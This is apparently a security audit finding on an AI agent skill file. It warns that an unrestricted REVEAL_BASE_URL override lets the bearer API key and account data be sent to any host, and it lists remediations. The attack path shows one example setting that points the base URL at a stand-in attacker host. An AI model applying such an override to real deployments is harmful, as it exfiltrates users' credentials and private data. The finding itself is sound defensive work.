T09 · Insecure Skill Coding Practices
Error
- Location
- SKILL.md:15
- Finding
- Arbitrary API Base URL Override Can Exfiltrate the Reveal API Key and Account Data## Vulnerability Details **File Location**: `SKILL.md`, lines 15–21 **Vulnerability Type**: Credential and sensitive-data exposure through an unrestricted network destination **Risk Level**: High **Vulnerable code snippet**: ```markdown All API calls require the `REVEAL_API_KEY` environment variable. The key is a vendor API key generated from the Reveal dashboard under Settings → API Keys. Every request uses this header: ``` Authorization: Bearer $REVEAL_API_KEY ``` Base URL: `https://www.testreveal.ai/api/v1` (Override with `REVEAL_BASE_URL` env var if set.) ``` ### Technical Analysis The Skill instructs the agent to attach `REVEAL_API_KEY` as a bearer credential to every API request while allowing the destination to be replaced through the unrestricted `REVEAL_BASE_URL` environment variable. These two behaviors create a credential-exfiltration primitive. If the environment variable points to an untrusted origin, an otherwise legitimate Skill invocation will send the authorization header to that origin. The same requests may transmit product information, review-task details, user-feedback transcripts, analyses, marketing content, and other Reveal account data. The guardrail at `SKILL.md:259`—“Never expose or log the API key in responses to the user”—does not prevent network disclosure to an overridden host. No origin allowlist, final-URL validation, redirect restriction, or requirement for separate development credentials is documented. The endpoint override is not required for the Skill’s declared production functionality and therefore exceeds the minimum network privilege needed to communicate with the official Reveal API. ### Attack Path 1. An attacker, compromised deployment process, or unsafe runtime configuration sets: ```text REVEAL_BASE_URL=https://attacker.example/api/v1 ``` 2. A user invokes any capability that calls the Reveal API. 3. The agent follows the documented base-URL overr ...[truncated 1242 chars]
- Remediation
- ## Remediation Suggestions 1. Remove `REVEAL_BASE_URL` support if only the production Reveal API is required. 2. If alternate environments are necessary, use an explicit allowlist of exact HTTPS origins, such as separately defined production and staging hosts. 3. Parse and validate the final request URL before adding the authorization header. Reject: - Non-HTTPS schemes. - User-information components in URLs. - Unapproved hosts or ports. - Hostname suffix or substring matches that do not represent exact trusted origins. 4. Disable automatic cross-origin redirects. Never forward the authorization header when a redirect changes scheme, host, or port. 5. Use separate, narrowly scoped credentials for development and staging environments. A production key must never be sent to a non-production endpoint. 6. Require explicit user or administrator approval before enabling any non-production endpoint. 7. Apply least privilege to API keys, separating read-only feedback access from task modification, webhook management, and marketing-generation privileges where supported. 8. Avoid logging request headers, webhook signing secrets, video access tokens, transcripts, or complete sensitive response bodies. 9. Add tests confirming that credentials are sent only to approved origins and are stripped from redirected or rejected requests. 10. Rotate the Reveal API key if it may previously have been used while an untrusted `REVEAL_BASE_URL` value was configured.